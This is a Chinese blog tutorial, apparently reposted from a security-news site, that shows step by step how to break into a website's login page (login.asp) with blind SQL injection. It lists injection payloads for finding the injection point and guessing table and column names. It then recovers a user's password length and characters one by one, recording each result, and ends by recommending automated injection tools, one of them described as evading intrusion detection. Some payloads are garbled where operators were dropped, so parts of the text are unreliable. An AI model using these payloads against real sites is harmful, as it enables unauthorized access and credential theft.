當前位置:
首頁 > 最新 > 黑客如何用 sql 注入攻破一個網站,圖文講解全流程!

黑客如何用 sql 注入攻破一個網站,圖文講解全流程!

(圖片源於網路,侵刪)

參考:https://www.sohu.com/a/217533296_472906,本周的社群正在私聊,不要急~~

SQL注入已經科普很多了,今天我們分享一個案例吧:如何用SQL注入一步步攻破一個網站!

1

一些基礎

sql注入的簡單方法

首先我們在一個具備sql注入漏洞的網站開始實戰測試(實驗網站已經通知修復)前提準備:

網址:http://172.18.3.13:81/login.asp?name

用戶名:admin 密碼:admin

所需sql注入語句

(1)判斷有無注入點

; and 1=1 and 1=2

(2)猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0(select count(*) from *)

and 0(select count(*) from admin) ---判斷是否存在admin這張表

(3)猜帳號數目 如果遇到0

and 0

and 1

(4)猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用戶欄位名稱name)>0)

and 1=(select count(*) from admin where len(_blank>密碼欄位名稱password)>0)

(5)猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

(6)猜解字元

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位

就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select top 1 count(*) from Admin where

Asc(mid(pass,5,1))=51) --

這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.

2

判斷有無SQL注入點

開始sql注入

SQL注入漏洞測試:

在正常用戶名admin後增加一個單引號,單擊"登錄"

或在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin"&pass=admin

若出錯,證明沒有對"進行過濾,存在SQL注入漏洞

在正常用戶名admin後增加一個單引號,單擊"登錄"

出錯

在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin"&pass=admin

登錄出錯,證明存在SQL注入漏洞。

3

SQL注入攻擊

1、SQL注入攻擊

構造可以正常運行的目標地址

輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin" and "1=1

原SQL語句為SELECT * FROM data Where uname="admin",條件未變,但接收密碼為admin" and "1=1

登錄失敗

輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin" and 1=1 and "a"="a

原SQL語句為SELECT * FROM data Where uname="admin" and 1=1 and "a"="a"

登錄成功

可以正常運行的目標地址已經構造成功,此時可將1=1部分用SQL查詢語句替代,依次對資料庫表名、表中欄位名、用戶和密碼長度、用戶和密碼進行測試

2、猜解資料庫表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (select count(*) from data)>0 and "a"="a

成功,說明數據表名確為data;若不成功,則可反覆測試,直至成功猜出表名

3、猜接資料庫段名

http://172.18.3.13:81/login.asp?pass=admin&name=admin"and (select count(uname) from data)>0 and "a"="a

若用戶名欄位確為uname,則提示登錄成功

同理可猜出密碼欄位為upass

猜測用戶名欄位為name,登錄出錯

猜測用戶名欄位為uname,登錄成功

說明資料庫中用戶名欄位為uname

猜測密碼欄位為upass,登錄成功

說明資料庫中密碼欄位為upass

4、猜解密碼長度

已知有一用戶名為"wucm",首先猜其密碼長度大於1

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)>1)>0 and "a"="a

成功,說明用戶"wucm"的密碼大於1, 繼續猜測密碼長度小於10

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)0 and "a"="a

成功,說明"wucm"的密碼長度小於10位,繼續猜測其密碼長度小於5

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)0 and "a"="a

出錯,說明"wucm"的密碼長度大於5位,繼續猜測其密碼長度大於8位

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)>8)>0 and "a"="a

出錯,說明"wucm"的密碼長度小於8位,繼續猜測其密碼長度等於6位

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and len(upass)=6)>0 and "a"="a

成功,說明"wucm"的密碼長度為6位

5、猜解密碼

根據前面的測試我們已經知道該用戶的密碼長度位6位,接下來對密碼進行逐位猜測:

首先測試第一位是否為數字

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)0 and "a"="a

出錯,說明密碼第一位不是數字, 測試是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)>"a")>0 and "a"="a

成功,基本說明密碼第一位是字母, 接下來重複測試,不斷縮小字母範圍,最後確定密碼第一位為字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admin" and (Select count(*) from data where uname="wucm" and mid(upass,1,1)="w")>0 and "a"="a

成功,說明密碼第一位位"w"

同理對6位密碼逐位進行猜測,最後得到密碼為"wcm987"

至此我們就猜測出用戶"wucm"的密碼為"wcm987",進行登陸測試:

登錄成功,證明整個猜測過程和最後得出的密碼都是正確的。

4

常見SQL注入工具推薦

1.Sqlmap

Sqlmap是一個自動SQL 注入工具。其可勝任執行一個廣泛的資料庫管理系統後端指紋,檢索DBMS資料庫、usernames、表格、列、並列舉整個DBMS信息。Sqlmap提供轉儲資料庫表以及MySQL、PostgreSQL、SQL Server伺服器下載或上傳任何文件並執行任意代碼的能力。

2.BSQL Hacker

BSQL Hacker是由Portcullis實驗室開發的,BSQL Hacker 是一個SQL自動注入工具(支持SQL盲注),其設計的目的是希望能對任何的資料庫進行SQL溢出注入。 BSQL Hacker的適用群體是那些對注入有經驗的使用者和那些想進行自動SQL注入的人群。BSQL Hacker可自動對Oracle和MySQL資料庫進行攻擊,並自動提取資料庫的數據和架構。

3.The Mole

The Mole是一款開源的自動化SQL注入工具,其可繞過IPS/IDS(入侵防禦系統/入侵檢測系統)。只需提供一個URL和一個可用的關鍵字,它就能夠檢測注入點並利用。The Mole可以使用union注入技術和基於邏輯查詢的注入技術。The Mole攻擊範圍包括SQL Server、MySQL、Postgres和Oracle資料庫。

以上:希望有些幫助!

在分享一個小遊戲,歡迎分享轉發喲!

歡迎來到安全犀牛

領取你的人生成績單


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 安全犀牛 的精彩文章:

TAG:安全犀牛 |